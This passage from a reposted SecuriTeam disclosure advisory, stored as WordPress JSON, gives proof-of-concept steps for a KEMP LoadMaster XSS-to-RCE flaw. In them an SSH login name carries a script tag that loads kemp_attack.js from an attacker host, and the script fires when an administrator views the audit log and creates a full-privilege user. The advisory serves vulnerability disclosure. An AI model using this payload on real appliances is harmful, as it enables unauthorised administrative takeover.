class=\"crayon-c\">\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/END\/\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0083 seconds] -->  <\/p>\n<p>2 &#8211; Verify permission of kemp_attack.js (chmod 644 kemp_attack.js)<\/p>\n<p>3 &#8211; Verify users currently enabled in Kemp LoadMaster from System Configuration > User Management. As you can se no user (a part from default one) is active in the appliance (Image 8)<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_8.png\" data-slb-active=\"1\" data-slb-asset=\"1395373300\" data-slb-internal=\"0\" data-slb-group=\"3194\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_8-300x142.png\" alt=\"\" width=\"300\" height=\"142\" class=\"alignnone size-medium wp-image-3197\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_8-300x142.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_8-768x365.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_8-1024x486.png 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_8.png 1489w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>4 &#8211; Inject the attack code: from the attacker machine open a shell and type the following code:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59275859a15b4120844266\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">XHTML<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> ssh &lt;script  src=&#8221;http&amp;#x3A;\/\/10.0.8.130\/kemp_attack.js&#8221;&gt;&lt;\/script&gt;@10.0.8.145<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59275859a15b4120844266-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59275859a15b4120844266-1\">ssh<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-ta\">&lt;script <\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">src<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\"><\/span>&#8220;<span class=\"crayon-v\">http<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-o\">#<\/span><span class=\"crayon-v\">x3A<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-c\">\/\/10.0.8.130\/kemp_attack.js&#8221;&gt;&lt;\/s<\/span><span class=\"crayon-v\">cript<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">@<\/span>10<span class=\"crayon-sy\">.<\/span>0<span class=\"crayon-sy\">.<\/span>8<span class=\"crayon-sy\">.<\/span>145<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>5 &#8211; Check again the log page (View Audit LogFile): this will activate the script<\/p>\n<p>6 &#8211; Check again the User Management page: a new user as been created with all permissions. (Image 9)<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_9.png\" data-slb-active=\"1\" data-slb-asset=\"695108643\" data-slb-internal=\"0\" data-slb-group=\"3194\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_9-300x155.png\" alt=\"\" width=\"300\" height=\"155\" class=\"alignnone size-medium wp-image-3198\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_9-300x155.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_9-768x398.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_9-1024x531.png 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_9.png 1484w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/pf-button.gif\" alt=\"Print Friendly\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3194\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/05\/kemp_1-300x224.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Noam Rathaus| Date: Thu, 25 May 2017 06:01:41 +0000<\/strong><\/p>\n<p>KEMP&#8217;s main product, the LoadMaster, is a load balancer built on its own proprietary software platform called LMOS, that enables it to run on almost any platform: As a KEMP LoadMaster appliance, a Virtual LoadMaster (VLM) deployed on Hyper-V, VMWare, on bare metal or in the public cloud. KEMP is available in Azure, where it &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3194\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory &#8211; KEMP LoadMaster from XSS Pre Authentication to RCE<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11640,11851,10757],"class_list":["post-7765","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-cross-site-scripting","tag-remote-command-execution","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7765","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=7765"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7765\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=7765"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=7765"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=7765"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}